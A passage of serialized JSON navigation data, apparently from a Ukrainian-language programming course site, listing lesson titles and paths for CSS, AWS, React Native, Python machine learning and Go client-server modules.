Context","\u002Fhtml-css\u002Fcss-positioning","12.html-css\u002F17.css-positioning",{"title":3372,"path":3373,"stem":3374},"CSS Анімації та Переходи","\u002Fhtml-css\u002Fcss-animations-transitions","12.html-css\u002F18.css-animations-transitions",{"title":3376,"path":3377,"stem":3378},"Адаптивний дизайн. Media Queries. Частина 1","\u002Fhtml-css\u002Fcss-responsive-media-queries","12.html-css\u002F19.css-responsive-media-queries",{"title":3380,"path":3381,"stem":3382},"Адаптивний дизайн. Частина 2: clamp(), Container Queries, @layer","\u002Fhtml-css\u002Fcss-responsive-advanced","12.html-css\u002F20.css-responsive-advanced",{"title":3384,"path":3385,"stem":3386},"CSS Custom Properties. Методології. Сучасний CSS","\u002Fhtml-css\u002Fcss-variables-methodologies","12.html-css\u002F21.css-variables-methodologies",{"title":3388,"path":3389,"stem":3390},"Сучасний CSS 2023–2025: Нові можливості","\u002Fhtml-css\u002Fcss-modern-features","12.html-css\u002F22.css-modern-features",{"title":3392,"path":3393,"stem":3394},"CSS Nesting, @layer, @scope та @property: нативний препроцесор","\u002Fhtml-css\u002F22a.css-nesting-modern-syntax","12.html-css\u002F22a.css-nesting-modern-syntax",{"title":3396,"path":3397,"stem":3398},"CSS для форм та інтерактивних станів","\u002Fhtml-css\u002Fcss-forms-interactive-states","12.html-css\u002F23.css-forms-interactive-states",{"title":3400,"path":3401,"stem":3402},"Доступність у CSS (CSS Accessibility)","\u002Fhtml-css\u002Fcss-accessibility","12.html-css\u002F24.css-accessibility",{"title":3404,"path":3405,"stem":3406},"CSS-функції та сучасні sizing primitives","\u002Fhtml-css\u002Fcss-functions-sizing","12.html-css\u002F25.css-functions-sizing",{"title":3408,"path":3409,"stem":3410},"Rendering Pipeline і CSS Performance","\u002Fhtml-css\u002Fcss-rendering-performance","12.html-css\u002F26.css-rendering-performance",{"title":3412,"path":3413,"stem":3414},"CSS Best Practices: типові ситуації та правильні рішення","\u002Fhtml-css\u002Fcss-best-practices","12.html-css\u002F27.css-best-practices",{"title":3416,"path":3417,"stem":3418,"children":3419,"page":59},"AWS","\u002Faws","13.aws",[3420,3424,3428,3432,3436,3440,3444,3448,3452,3456,3460,3464,3468,3472,3476,3480,3484,3488],{"title":3421,"path":3422,"stem":3423},"Реєстрація AWS акаунту та студентські програми","\u002Faws\u002Faccount-registration","13.aws\u002F00.account-registration",{"title":3425,"path":3426,"stem":3427},"Вступ до хмарних обчислень та AWS","\u002Faws\u002Fintroduction-to-cloud","13.aws\u002F01.introduction-to-cloud",{"title":3429,"path":3430,"stem":3431},"AWS IAM — Identity and Access Management","\u002Faws\u002Fiam","13.aws\u002F02.iam",{"title":3433,"path":3434,"stem":3435},"AWS IAM CLI — Довідник команд","\u002Faws\u002F02a.iam-doc","13.aws\u002F02a.iam-doc",{"title":3437,"path":3438,"stem":3439},"Docker та контейнеризація в AWS — ECR, ECS та Fargate","\u002Faws\u002Fdocker-ecs","13.aws\u002F03.docker-ecs",{"title":3441,"path":3442,"stem":3443},"AWS ECR \u002F ECS CLI — Довідник команд","\u002Faws\u002F03a.docker-ecs-doc","13.aws\u002F03a.docker-ecs-doc",{"title":3445,"path":3446,"stem":3447},"Amazon EC2 — Elastic Compute Cloud","\u002Faws\u002Fec2","13.aws\u002F04.ec2",{"title":3449,"path":3450,"stem":3451},"AWS EC2 CLI — Довідник команд","\u002Faws\u002F04a.ec2-doc","13.aws\u002F04a.ec2-doc",{"title":3453,"path":3454,"stem":3455},"Elastic Load Balancing та Auto Scaling","\u002Faws\u002Falb-asg","13.aws\u002F05.alb-asg",{"title":3457,"path":3458,"stem":3459},"Amazon S3 — Simple Storage Service","\u002Faws\u002Fs3","13.aws\u002F06.s3",{"title":3461,"path":3462,"stem":3463},"Amazon CloudFront — Content Delivery Network","\u002Faws\u002Fcloudfront","13.aws\u002F07.cloudfront",{"title":3465,"path":3466,"stem":3467},"Amazon RDS — Relational Database Service","\u002Faws\u002Frds","13.aws\u002F08.rds",{"title":3469,"path":3470,"stem":3471},"Amazon DynamoDB — NoSQL Database","\u002Faws\u002Fdynamodb","13.aws\u002F09.dynamodb",{"title":3473,"path":3474,"stem":3475},"AWS Lambda та Serverless Compute","\u002Faws\u002Flambda","13.aws\u002F10.lambda",{"title":3477,"path":3478,"stem":3479},"Amazon Bedrock - Foundation Models, RAG та Agents","\u002Faws\u002Fbedrock","13.aws\u002F22.bedrock",{"title":3481,"path":3482,"stem":3483},"Amazon Rekognition - Комп'ютерний зір","\u002Faws\u002Frekognition","13.aws\u002F23.rekognition",{"title":3485,"path":3486,"stem":3487},"Amazon Textract - Інтелектуальний аналіз документів","\u002Faws\u002Ftextract","13.aws\u002F24.textract",{"title":3489,"path":3490,"stem":3491},"Amazon Polly, Transcribe, Comprehend та Translate","\u002Faws\u002Faudio-nlp-services","13.aws\u002F25.audio-nlp-services",{"title":3493,"path":3494,"stem":3495,"children":3496,"page":59},"Ai Development","\u002Fai-development","14.ai-development",[3497],{"title":3498,"path":3499,"stem":3500,"children":3501,"page":59},"Foundations","\u002Fai-development\u002Ffoundations","14.ai-development\u002F00.foundations",[3502],{"title":3503,"path":3504,"stem":3505},"Модуль 0.1. Що таке Large Language Model (LLM)","\u002Fai-development\u002Ffoundations\u002Fwhat-is-llm","14.ai-development\u002F00.foundations\u002F01.what-is-llm",{"title":3507,"path":3508,"stem":3509,"children":3510,"page":59},"React Native","\u002Freact-native","15.react-native",[3511,3532],{"title":3512,"path":3513,"stem":3514,"children":3515,"page":59},"Version1","\u002Freact-native\u002Fversion1","15.react-native\u002Fversion1",[3516,3520,3524,3528],{"title":3517,"path":3518,"stem":3519},"Що таке React Native","\u002Freact-native\u002Fversion1\u002Fwhat-is-react-native","15.react-native\u002Fversion1\u002F01.what-is-react-native",{"title":3521,"path":3522,"stem":3523},"Як влаштований React Native «під капотом»","\u002Freact-native\u002Fversion1\u002Freact-native-architecture","15.react-native\u002Fversion1\u002F02.react-native-architecture",{"title":3525,"path":3526,"stem":3527},"Від React до React Native: ключові відмінності","\u002Freact-native\u002Fversion1\u002Freact-native-vs-react","15.react-native\u002Fversion1\u002F03.react-native-vs-react",{"title":3529,"path":3530,"stem":3531},"View та Text — фундаментальні будівельні блоки","\u002Freact-native\u002Fversion1\u002Fview-and-text","15.react-native\u002Fversion1\u002F04.view-and-text",{"title":3533,"path":3534,"stem":3535,"children":3536,"page":59},"Version2","\u002Freact-native\u002Fversion2","15.react-native\u002Fversion2",[3537,3541,3545,3549,3553,3557,3561,3565,3569,3573,3577,3581,3585,3589,3593,3597,3601,3605,3609,3613,3617,3621,3625,3629,3633,3637,3641],{"title":3538,"path":3539,"stem":3540},"React Native — навіщо він потрібен","\u002Freact-native\u002Fversion2\u002Fwhy-react-native","15.react-native\u002Fversion2\u002F01.why-react-native",{"title":3542,"path":3543,"stem":3544},"Налаштування середовища розробки","\u002Freact-native\u002Fversion2\u002Fenvironment-setup","15.react-native\u002Fversion2\u002F02.environment-setup",{"title":3546,"path":3547,"stem":3548},"Expo і класичний React Native — два шляхи одного фреймворку","\u002Freact-native\u002Fversion2\u002Fexpo-vs-cli-landscape","15.react-native\u002Fversion2\u002F03.expo-vs-cli-landscape",{"title":3550,"path":3551,"stem":3552},"Середовище Expo — перший запуск","\u002Freact-native\u002Fversion2\u002Fexpo-setup-and-tooling","15.react-native\u002Fversion2\u002F04.expo-setup-and-tooling",{"title":3554,"path":3555,"stem":3556},"Структура проєкту та перші UI-примітиви","\u002Freact-native\u002Fversion2\u002Fproject-structure-and-conventions","15.react-native\u002Fversion2\u002F05.project-structure-and-conventions",{"title":3558,"path":3559,"stem":3560},"Базові компоненти React Native","\u002Freact-native\u002Fversion2\u002Fcore-components","15.react-native\u002Fversion2\u002F06.core-components",{"title":3562,"path":3563,"stem":3564},"Flexbox і layout у React Native","\u002Freact-native\u002Fversion2\u002Fflexbox-and-layout","15.react-native\u002Fversion2\u002F07.flexbox-and-layout",{"title":3566,"path":3567,"stem":3568},"StyleSheet і теми (light \u002F dark)","\u002Freact-native\u002Fversion2\u002Fstylesheet-and-theming","15.react-native\u002Fversion2\u002F08.stylesheet-and-theming",{"title":3570,"path":3571,"stem":3572},"Списки та віртуалізація","\u002Freact-native\u002Fversion2\u002Flists-and-virtualization","15.react-native\u002Fversion2\u002F09.lists-and-virtualization",{"title":3574,"path":3575,"stem":3576},"Форми, ввід і валідація","\u002Freact-native\u002Fversion2\u002Fforms-input-validation","15.react-native\u002Fversion2\u002F10.forms-input-validation",{"title":3578,"path":3579,"stem":3580},"Основи Expo Router","\u002Freact-native\u002Fversion2\u002Fexpo-router-basics","15.react-native\u002Fversion2\u002F11.expo-router-basics",{"title":3582,"path":3583,"stem":3584},"Вкладені навігатори та модалки","\u002Freact-native\u002Fversion2\u002Fnested-navigators-and-modals","15.react-native\u002Fversion2\u002F12.nested-navigators-and-modals",{"title":3586,"path":3587,"stem":3588},"Deep linking і параметри маршрутів","\u002Freact-native\u002Fversion2\u002Fdeep-linking-and-params","15.react-native\u002Fversion2\u002F13.deep-linking-and-params",{"title":3590,"path":3591,"stem":3592},"Робота з мережею та життєвий цикл застосунку","\u002Freact-native\u002Fversion2\u002Fnetworking-and-app-lifecycle","15.react-native\u002Fversion2\u002F14.networking-and-app-lifecycle",{"title":3594,"path":3595,"stem":3596},"Redux Toolkit на мобільних платформах","\u002Freact-native\u002Fversion2\u002Fredux-toolkit-on-mobile","15.react-native\u002Fversion2\u002F15.redux-toolkit-on-mobile",{"title":3598,"path":3599,"stem":3600},"RTK Query на мобільних платформах","\u002Freact-native\u002Fversion2\u002Frtk-query-mobile","15.react-native\u002Fversion2\u002F16.rtk-query-mobile",{"title":3602,"path":3603,"stem":3604},"Автентифікація та Безпечне Зберігання","\u002Freact-native\u002Fversion2\u002Fauth-secure-storage","15.react-native\u002Fversion2\u002F18.auth-secure-storage",{"title":3606,"path":3607,"stem":3608},"Локальне сховище — AsyncStorage, MMKV, SQLite","\u002Freact-native\u002Fversion2\u002Flocal-storage-mmkv-sqlite","15.react-native\u002Fversion2\u002F19.local-storage-mmkv-sqlite",{"title":3610,"path":3611,"stem":3612},"Офлайн-First і синхронізація","\u002Freact-native\u002Fversion2\u002Foffline-first-sync","15.react-native\u002Fversion2\u002F20.offline-first-sync",{"title":3614,"path":3615,"stem":3616},"Камера, медіа та файлова система","\u002Freact-native\u002Fversion2\u002Fcamera-media-filesystem","15.react-native\u002Fversion2\u002F21.camera-media-filesystem",{"title":3618,"path":3619,"stem":3620},"Карти та геолокація","\u002Freact-native\u002Fversion2\u002Fmaps-and-location","15.react-native\u002Fversion2\u002F22.maps-and-location",{"title":3622,"path":3623,"stem":3624},"Жести та дотики","\u002Freact-native\u002Fversion2\u002Fgestures-and-touch","15.react-native\u002Fversion2\u002F23.gestures-and-touch",{"title":3626,"path":3627,"stem":3628},"Анімації з Reanimated","\u002Freact-native\u002Fversion2\u002Freanimated-animations","15.react-native\u002Fversion2\u002F24.reanimated-animations",{"title":3630,"path":3631,"stem":3632},"Push і локальні сповіщення","\u002Freact-native\u002Fversion2\u002Fpush-and-local-notifications","15.react-native\u002Fversion2\u002F25.push-and-local-notifications",{"title":3634,"path":3635,"stem":3636},"Інтернаціоналізація та доступність","\u002Freact-native\u002Fversion2\u002Faccessibility-and-i18n","15.react-native\u002Fversion2\u002F26.accessibility-and-i18n",{"title":3638,"path":3639,"stem":3640},"EAS Build та профілі збірки","\u002Freact-native\u002Fversion2\u002Feas-build-and-profiles","15.react-native\u002Fversion2\u002F29.eas-build-and-profiles",{"title":3642,"path":3643,"stem":3644},"Публікація в App Store та Google Play","\u002Freact-native\u002Fversion2\u002Fapp-store-play-release","15.react-native\u002Fversion2\u002F30.app-store-play-release",{"title":3646,"path":3647,"stem":3648,"children":3649,"page":59},"Ai Python","\u002Fai-python","16.ai-python",[3650,3659,3668,3677,3706,3732,3757,3790,3807,3820,3829,3842,3851,3872,3885,3906],{"title":3651,"path":3652,"stem":3653,"children":3654,"page":59},"Intro To Ai","\u002Fai-python\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai",[3655],{"title":3656,"path":3657,"stem":3658},"Вступ до штучного інтелекту та машинного навчання","\u002Fai-python\u002Fintro-to-ai\u002Fintro-to-ai","16.ai-python\u002F01.intro-to-ai\u002F01.intro-to-ai",{"title":3660,"path":3661,"stem":3662,"children":3663,"page":59},"Jupyter Notebook","\u002Fai-python\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook",[3664],{"title":3665,"path":3666,"stem":3667},"Знайомство з Jupyter Notebook та JupyterLab","\u002Fai-python\u002Fjupyter-notebook\u002Fjupyter-notebook","16.ai-python\u002F02.jupyter-notebook\u002F02.jupyter-notebook",{"title":3669,"path":3670,"stem":3671,"children":3672,"page":59},"Numpy Pandas","\u002Fai-python\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas",[3673],{"title":3674,"path":3675,"stem":3676},"Робота з даними з використанням NumPy і pandas","\u002Fai-python\u002Fnumpy-pandas\u002Fnumpy-pandas","16.ai-python\u002F03.numpy-pandas\u002F03.numpy-pandas",{"title":3678,"path":3679,"stem":3680,"children":3681,"page":59},"Statistics Basics","\u002Fai-python\u002Fstatistics-basics","16.ai-python\u002F04.statistics-basics",[3682,3686,3690,3694,3698,3702],{"title":3683,"path":3684,"stem":3685},"Випадкові величини та їх типи","\u002Fai-python\u002Fstatistics-basics\u002Frandom-variables","16.ai-python\u002F04.statistics-basics\u002F01.random-variables",{"title":3687,"path":3688,"stem":3689},"Міри центральної тенденції","\u002Fai-python\u002Fstatistics-basics\u002Fcentral-tendency","16.ai-python\u002F04.statistics-basics\u002F02.central-tendency",{"title":3691,"path":3692,"stem":3693},"Міри варіації (розсіювання)","\u002Fai-python\u002Fstatistics-basics\u002Fvariability","16.ai-python\u002F04.statistics-basics\u002F03.variability",{"title":3695,"path":3696,"stem":3697},"Розподіли випадкових величин","\u002Fai-python\u002Fstatistics-basics\u002Fdistributions","16.ai-python\u002F04.statistics-basics\u002F04.distributions",{"title":3699,"path":3700,"stem":3701},"Кореляція та взаємозв'язки","\u002Fai-python\u002Fstatistics-basics\u002Fcorrelation","16.ai-python\u002F04.statistics-basics\u002F05.correlation",{"title":3703,"path":3704,"stem":3705},"Викиди та аномалії","\u002Fai-python\u002Fstatistics-basics\u002Foutliers","16.ai-python\u002F04.statistics-basics\u002F06.outliers",{"title":3707,"path":3708,"stem":3709,"children":3710},"Візуалізація даних за допомогою matplotlib","\u002Fai-python\u002Fdata-visualization","16.ai-python\u002F05.data-visualization\u002Findex",[3711,3712,3716,3720,3724,3728],{"title":3707,"path":3708,"stem":3709},{"title":3713,"path":3714,"stem":3715},"Основи matplotlib — Figure, Axes та перший графік","\u002Fai-python\u002Fdata-visualization\u002Fmatplotlib-basics","16.ai-python\u002F05.data-visualization\u002F01.matplotlib-basics",{"title":3717,"path":3718,"stem":3719},"Візуалізація розподілів — гістограми та box plots","\u002Fai-python\u002Fdata-visualization\u002Fdistributions","16.ai-python\u002F05.data-visualization\u002F02.distributions",{"title":3721,"path":3722,"stem":3723},"Візуалізація залежностей — scatter plots та кореляція","\u002Fai-python\u002Fdata-visualization\u002Frelationships","16.ai-python\u002F05.data-visualization\u002F03.relationships",{"title":3725,"path":3726,"stem":3727},"Візуалізація категоріальних даних — bar charts та pie charts","\u002Fai-python\u002Fdata-visualization\u002Fcategorical","16.ai-python\u002F05.data-visualization\u002F04.categorical",{"title":3729,"path":3730,"stem":3731},"Композиції та стилізація — subplots та багатопанельні дашборди","\u002Fai-python\u002Fdata-visualization\u002Fsubplots-styling","16.ai-python\u002F05.data-visualization\u002F05.subplots-styling",{"title":3733,"path":3734,"stem":3735,"children":3736,"page":59},"Linear Regression","\u002Fai-python\u002Flinear-regression","16.ai-python\u002F06.linear-regression",[3737,3741,3745,3749,3753],{"title":3738,"path":3739,"stem":3740},"Регресійна задача та лінійна регресія з однією змінною","\u002Fai-python\u002Flinear-regression\u002Fregression-task","16.ai-python\u002F06.linear-regression\u002F01.regression-task",{"title":3742,"path":3743,"stem":3744},"Метрики якості регресії — як оцінити модель","\u002Fai-python\u002Flinear-regression\u002Fquality-metrics","16.ai-python\u002F06.linear-regression\u002F02.quality-metrics",{"title":3746,"path":3747,"stem":3748},"Градієнтний спуск — як модель навчається","\u002Fai-python\u002Flinear-regression\u002Fgradient-descent","16.ai-python\u002F06.linear-regression\u002F03.gradient-descent",{"title":3750,"path":3751,"stem":3752},"Множинна лінійна регресія — модель з багатьма ознаками","\u002Fai-python\u002Flinear-regression\u002Fmultiple-regression","16.ai-python\u002F06.linear-regression\u002F04.multiple-regression",{"title":3754,"path":3755,"stem":3756},"Практичні завдання та резюме модуля","\u002Fai-python\u002Flinear-regression\u002Fpractice","16.ai-python\u002F06.linear-regression\u002F05.practice",{"title":3758,"path":3759,"stem":3760,"children":3761,"page":59},"Practical Regression","\u002Fai-python\u002Fpractical-regression","16.ai-python\u002F07.practical-regression",[3762,3766,3770,3774,3778,3782,3786],{"title":3763,"path":3764,"stem":3765},"Знайомство з scikit-learn","\u002Fai-python\u002Fpractical-regression\u002Fintro-scikit-learn","16.ai-python\u002F07.practical-regression\u002F01.intro-scikit-learn",{"title":3767,"path":3768,"stem":3769},"Exploratory Data Analysis датасету Housing Prices","\u002Fai-python\u002Fpractical-regression\u002Fhousing-dataset-eda","16.ai-python\u002F07.practical-regression\u002F02.housing-dataset-eda",{"title":3771,"path":3772,"stem":3773},"Попередня обробка даних (Data Preprocessing)","\u002Fai-python\u002Fpractical-regression\u002Fdata-preprocessing","16.ai-python\u002F07.practical-regression\u002F03.data-preprocessing",{"title":3775,"path":3776,"stem":3777},"Train\u002FTest Split та перша повноцінна модель","\u002Fai-python\u002Fpractical-regression\u002Ftrain-test-split","16.ai-python\u002F07.practical-regression\u002F04.train-test-split",{"title":3779,"path":3780,"stem":3781},"Перенавчання та недонавчання","\u002Fai-python\u002Fpractical-regression\u002Foverfitting-underfitting","16.ai-python\u002F07.practical-regression\u002F05.overfitting-underfitting",{"title":3783,"path":3784,"stem":3785},"Крос-валідація (Cross-Validation)","\u002Fai-python\u002Fpractical-regression\u002Fcross-validation","16.ai-python\u002F07.practical-regression\u002F06.cross-validation",{"title":3787,"path":3788,"stem":3789},"Гіперпараметри та їх оптимізація","\u002Fai-python\u002Fpractical-regression\u002Fhyperparameter-tuning","16.ai-python\u002F07.practical-regression\u002F07.hyperparameter-tuning",{"title":3791,"path":3792,"stem":3793,"children":3794,"page":59},"Polynomial Regression","\u002Fai-python\u002Fpolynomial-regression","16.ai-python\u002F08.polynomial-regression",[3795,3799,3803],{"title":3796,"path":3797,"stem":3798},"Нелінійні залежності та поліноміальна регресія","\u002Fai-python\u002Fpolynomial-regression\u002Fnonlinear-patterns","16.ai-python\u002F08.polynomial-regression\u002F01.nonlinear-patterns",{"title":3800,"path":3801,"stem":3802},"Регуляризація в регресії — Ridge та Lasso","\u002Fai-python\u002Fpolynomial-regression\u002Fregularization-methods","16.ai-python\u002F08.polynomial-regression\u002F02.regularization-methods",{"title":3804,"path":3805,"stem":3806},"Практика — поліноміальна регресія та регуляризація на Housing Prices","\u002Fai-python\u002Fpolynomial-regression\u002Fhousing-prices-practice","16.ai-python\u002F08.polynomial-regression\u002F03.housing-prices-practice",{"title":3808,"path":3809,"stem":3810,"children":3811,"page":59},"Decision Trees Random Forest","\u002Fai-python\u002Fdecision-trees-random-forest","16.ai-python\u002F09.decision-trees-random-forest",[3812,3816],{"title":3813,"path":3814,"stem":3815},"Дерева рішень — інтерпретабельні моделі машинного навчання","\u002Fai-python\u002Fdecision-trees-random-forest\u002Fdecision-trees","16.ai-python\u002F09.decision-trees-random-forest\u002F01.decision-trees",{"title":3817,"path":3818,"stem":3819},"Random Forest — ансамблі дерев рішень","\u002Fai-python\u002Fdecision-trees-random-forest\u002Frandom-forest","16.ai-python\u002F09.decision-trees-random-forest\u002F02.random-forest",{"title":3821,"path":3822,"stem":3823,"children":3824,"page":59},"Gradient Boosting","\u002Fai-python\u002Fgradient-boosting","16.ai-python\u002F10.gradient-boosting",[3825],{"title":3826,"path":3827,"stem":3828},"Градієнтний бустинг та XGBoost — послідовне виправлення помилок","\u002Fai-python\u002Fgradient-boosting\u002Fgradient-boosting-xgboost","16.ai-python\u002F10.gradient-boosting\u002F01.gradient-boosting-xgboost",{"title":3830,"path":3831,"stem":3832,"children":3833,"page":59},"Logistic Regression Classification","\u002Fai-python\u002Flogistic-regression-classification","16.ai-python\u002F11.logistic-regression-classification",[3834,3838],{"title":3835,"path":3836,"stem":3837},"Вступ до класифікації та логістична регресія","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-basics","16.ai-python\u002F11.logistic-regression-classification\u002F01.classification-basics",{"title":3839,"path":3840,"stem":3841},"Метрики якості класифікації — Confusion Matrix, Precision, Recall, F1","\u002Fai-python\u002Flogistic-regression-classification\u002Fclassification-metrics","16.ai-python\u002F11.logistic-regression-classification\u002F02.classification-metrics",{"title":3843,"path":3844,"stem":3845,"children":3846,"page":59},"Neural Networks Basics","\u002Fai-python\u002Fneural-networks-basics","16.ai-python\u002F12.neural-networks-basics",[3847],{"title":3848,"path":3849,"stem":3850},"Вступ до нейронних мереж — від персептрона до багатошарових мереж","\u002Fai-python\u002Fneural-networks-basics\u002Fperceptron-to-mlp","16.ai-python\u002F12.neural-networks-basics\u002F01.perceptron-to-mlp",{"title":3852,"path":3853,"stem":3854,"children":3855,"page":59},"Pytorch Intro","\u002Fai-python\u002Fpytorch-intro","16.ai-python\u002F13.pytorch-intro",[3856,3860,3864,3868],{"title":3857,"path":3858,"stem":3859},"Тензори та автоматичне диференціювання в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Ftensors-and-autograd","16.ai-python\u002F13.pytorch-intro\u002F01.tensors-and-autograd",{"title":3861,"path":3862,"stem":3863},"Побудова та тренування нейронних мереж у PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fbuilding-and-training","16.ai-python\u002F13.pytorch-intro\u002F02.building-and-training",{"title":3865,"path":3866,"stem":3867},"Робота з даними та регуляризація в PyTorch","\u002Fai-python\u002Fpytorch-intro\u002Fdata-and-regularization","16.ai-python\u002F13.pytorch-intro\u002F03.data-and-regularization",{"title":3869,"path":3870,"stem":3871},"Просунуті теми PyTorch — GPU, оптимізація та deployment","\u002Fai-python\u002Fpytorch-intro\u002Fadvanced-topics","16.ai-python\u002F13.pytorch-intro\u002F04.advanced-topics",{"title":3873,"path":3874,"stem":3875,"children":3876,"page":59},"Activation Functions Heart Disease","\u002Fai-python\u002Factivation-functions-heart-disease","16.ai-python\u002F14.activation-functions-heart-disease",[3877,3881],{"title":3878,"path":3879,"stem":3880},"Функції активації та побудова нейронної мережі для передбачення вад серця","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fheart-disease-prediction","16.ai-python\u002F14.activation-functions-heart-disease\u002F01.heart-disease-prediction",{"title":3882,"path":3883,"stem":3884},"Бонус — Повний приклад Student Performance Prediction","\u002Fai-python\u002Factivation-functions-heart-disease\u002Fstudent-performance-bonus","16.ai-python\u002F14.activation-functions-heart-disease\u002F02.student-performance-bonus",{"title":3886,"path":3887,"stem":3888,"children":3889,"page":59},"Cnn Image Classification","\u002Fai-python\u002Fcnn-image-classification","16.ai-python\u002F15.cnn-image-classification",[3890,3894,3898,3902],{"title":3891,"path":3892,"stem":3893},"Основи згорткових нейронних мереж — чому не MLP?","\u002Fai-python\u002Fcnn-image-classification\u002Fcnn-fundamentals","16.ai-python\u002F15.cnn-image-classification\u002F01.cnn-fundamentals",{"title":3895,"path":3896,"stem":3897},"Практична імплементація CNN для класифікації MNIST","\u002Fai-python\u002Fcnn-image-classification\u002Fmnist-classification","16.ai-python\u002F15.cnn-image-classification\u002F02.mnist-classification",{"title":3899,"path":3900,"stem":3901},"Глибші CNN та аугментація даних для CIFAR-10","\u002Fai-python\u002Fcnn-image-classification\u002Fcifar10-and-data-augmentation","16.ai-python\u002F15.cnn-image-classification\u002F03.cifar10-and-data-augmentation",{"title":3903,"path":3904,"stem":3905},"Transfer Learning та візуалізація внутрішніх представлень CNN","\u002Fai-python\u002Fcnn-image-classification\u002Ftransfer-learning-and-visualization","16.ai-python\u002F15.cnn-image-classification\u002F04.transfer-learning-and-visualization",{"title":3907,"path":3908,"stem":3909,"children":3910,"page":59},"Batching Normalization Deep Networks","\u002Fai-python\u002Fbatching-normalization-deep-networks","16.ai-python\u002F16.batching-normalization-deep-networks",[3911,3915,3919,3923,3927,3931,3935],{"title":3912,"path":3913,"stem":3914},"Mini-batch Gradient Descent та ефективна обробка даних","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fmini-batch-gradient-descent","16.ai-python\u002F16.batching-normalization-deep-networks\u002F01.mini-batch-gradient-descent",{"title":3916,"path":3917,"stem":3918},"Ініціалізація ваг — фундамент стабільного навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fweight-initialization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F02.weight-initialization",{"title":3920,"path":3921,"stem":3922},"Batch Normalization — прорив у глибокому навчанні","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fbatch-normalization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F03.batch-normalization",{"title":3924,"path":3925,"stem":3926},"Dropout та комбіновані стратегії регуляризації","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdropout-and-regularization","16.ai-python\u002F16.batching-normalization-deep-networks\u002F04.dropout-and-regularization",{"title":3928,"path":3929,"stem":3930},"Проєктування глибоких мереж — від теорії до практики","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Fdeep-networks-architectures","16.ai-python\u002F16.batching-normalization-deep-networks\u002F05.deep-networks-architectures",{"title":3932,"path":3933,"stem":3934},"Планування learning rate — коли та як зменшувати крок навчання","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Flearning-rate-scheduling","16.ai-python\u002F16.batching-normalization-deep-networks\u002F06.learning-rate-scheduling",{"title":3936,"path":3937,"stem":3938},"Підсумковий проєкт — побудова сучасного класифікатора зображень","\u002Fai-python\u002Fbatching-normalization-deep-networks\u002Ffinal-project-deep-classifier","16.ai-python\u002F16.batching-normalization-deep-networks\u002F07.final-project-deep-classifier",{"title":3940,"icon":658,"path":3941,"stem":3942,"children":3943,"page":59},"Клієнт-серверна архітектура","\u002Fclient-server-architecture","17.client-server-architecture",[3944,3948,3952,3956,3960,3964,3968,3972,3976,3980,3984,3988,3992,3996,4000,4004,4008,4012],{"title":3945,"path":3946,"stem":3947},"Архітектура клієнт-серверних систем та основи Go","\u002Fclient-server-architecture\u002Fclient-server-architecture-and-go","17.client-server-architecture\u002F01.client-server-architecture-and-go",{"title":3949,"path":3950,"stem":3951},"Система типів та модель пам’яті мови Go","\u002Fclient-server-architecture\u002Ftype-system-and-memory-model","17.client-server-architecture\u002F02.type-system-and-memory-model",{"title":3953,"path":3954,"stem":3955},"Інтерфейси та модель конкурентності мови Go","\u002Fclient-server-architecture\u002Finterfaces-and-concurrency-model","17.client-server-architecture\u002F03.interfaces-and-concurrency-model",{"title":3957,"path":3958,"stem":3959},"Сокетне програмування та протокол TCP у Go","\u002Fclient-server-architecture\u002Ftcp-socket-programming","17.client-server-architecture\u002F04.tcp-socket-programming",{"title":3961,"path":3962,"stem":3963},"Протокол UDP та датаграмна передача даних","\u002Fclient-server-architecture\u002Fudp-datagram-transmission","17.client-server-architecture\u002F05.udp-datagram-transmission",{"title":3965,"path":3966,"stem":3967},"Криптографічний захист каналів зв","\u002Fclient-server-architecture\u002Ftls-cryptographic-channel-protection","17.client-server-architecture\u002F06.tls-cryptographic-channel-protection",{"title":3969,"path":3970,"stem":3971},"Прикладні мережеві протоколи DNS та SMTP","\u002Fclient-server-architecture\u002Fdns-smtp-application-protocols","17.client-server-architecture\u002F07.dns-smtp-application-protocols",{"title":3973,"path":3974,"stem":3975},"Протокол HTTP та стандартний вебсервер Go","\u002Fclient-server-architecture\u002Fhttp-protocol-and-web-server","17.client-server-architecture\u002F08.http-protocol-and-web-server",{"title":3977,"path":3978,"stem":3979},"Проєктування REST API та маршрутизація засобами Chi","\u002Fclient-server-architecture\u002Frest-api-design-and-chi-routing","17.client-server-architecture\u002F09.rest-api-design-and-chi-routing",{"title":3981,"path":3982,"stem":3983},"Лекція 10. Шарувата архітектура та конвеєри обробки запитів","\u002Fclient-server-architecture\u002Flayered-architecture-and-middleware-pipelines","17.client-server-architecture\u002F10.layered-architecture-and-middleware-pipelines",{"title":3985,"path":3986,"stem":3987},"Лекція 11. Архітектура та маршрутизація фреймворку Gin","\u002Fclient-server-architecture\u002Fgin-framework-architecture-and-routing","17.client-server-architecture\u002F11.gin-framework-architecture-and-routing",{"title":3989,"path":3990,"stem":3991},"Лекція 12. Валідація даних, безпека та документування у Gin","\u002Fclient-server-architecture\u002Fdata-validation-security-and-documentation-in-gin","17.client-server-architecture\u002F12.data-validation-security-and-documentation-in-gin",{"title":3993,"path":3994,"stem":3995},"Лекція 13. Взаємодія з реляційними СУБД та технології ORM","\u002Fclient-server-architecture\u002Frelational-databases-and-orm","17.client-server-architecture\u002F13.relational-databases-and-orm",{"title":3997,"path":3998,"stem":3999},"Потокова передача даних та протокол WebSocket","\u002Fclient-server-architecture\u002Fstreaming-data-and-websockets","17.client-server-architecture\u002F14.streaming-data-and-websockets",{"title":4001,"path":4002,"stem":4003},"Міжсервісна взаємодія на основі протоколу gRPC","\u002Fclient-server-architecture\u002Fgrpc-inter-service-communication","17.client-server-architecture\u002F15.grpc-inter-service-communication",{"title":4005,"path":4006,"stem":4007},"Асинхронний обмін повідомленнями та протоколи 